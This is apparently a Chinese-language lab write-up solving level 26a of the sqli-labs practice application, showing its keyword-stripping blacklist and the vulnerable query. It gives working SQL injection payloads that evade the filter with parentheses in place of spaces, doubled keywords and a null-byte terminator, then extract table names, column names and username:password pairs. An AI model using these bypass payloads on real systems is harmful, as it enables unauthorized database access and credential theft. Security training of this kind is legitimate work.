sqli-labs-Less-26a

SQLI-LAPS 实验记录

Less-26a

这一关与上一关类似,但闭合方式不同,增加了'),那么过关方式就可以结合上一关的技巧,以()应对空格,以双写绕过的方式应对'and','or'字符过滤。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0') union(select(1),(2),(3));%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union(select(1),(2),(database()));%00
  • 查找表名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'));%00
  • 查找列名:

    php 复制代码
    0') union(select(1),(2),(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'));%00

    查找其他数据:

    php 复制代码
    0') union(select(1),(2),(select(concat(username,':',passwoorrd))from(security.users)where(id=1)));%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
Rain的Java大神之路12 小时前
如何快速上传10G文件
java·spring boot·redis·后端·mysql·spring cloud·面试
十二同学啊12 小时前
向量数据库:从核心原理到 RAG 与 Java 实战
数据库
数安旭说13 小时前
从“堆叠工具”到“一体化治理”:端点安全的技术演进与实践观察
网络安全·系统架构·数据安全·企业安全·端点安全·防泄密·一体化管理
蓝速科技13 小时前
会议室门牌公告通知发布选型与落地指南丨蓝速科技
大数据·运维·数据库·人工智能·科技
大海星辰79814 小时前
一次对账SQL“灵异事件”排查:NOT IN返回空集的坑
mysql
Linux-lucky14 小时前
32-38-Linux学习之旅之MySQL综合
linux·运维·学习·mysql·ubuntu
白猫不黑14 小时前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
一 乐15 小时前
二手交易平台|基于springboot + vue二手交易平台(源码+数据库+文档)
java·数据库·vue.js·spring boot·小程序
SelectDB16 小时前
同等资源下 Apache Doris 4.2 vs StarRocks 4.1.1:1TB SSB 与 TPC-H 性能实测
大数据·数据库·数据分析
这个DBA有点耶16 小时前
数据库集群与分布式架构:三条技术路线对比、金仓KES RAC实测数据与决策框架
数据库·程序员·架构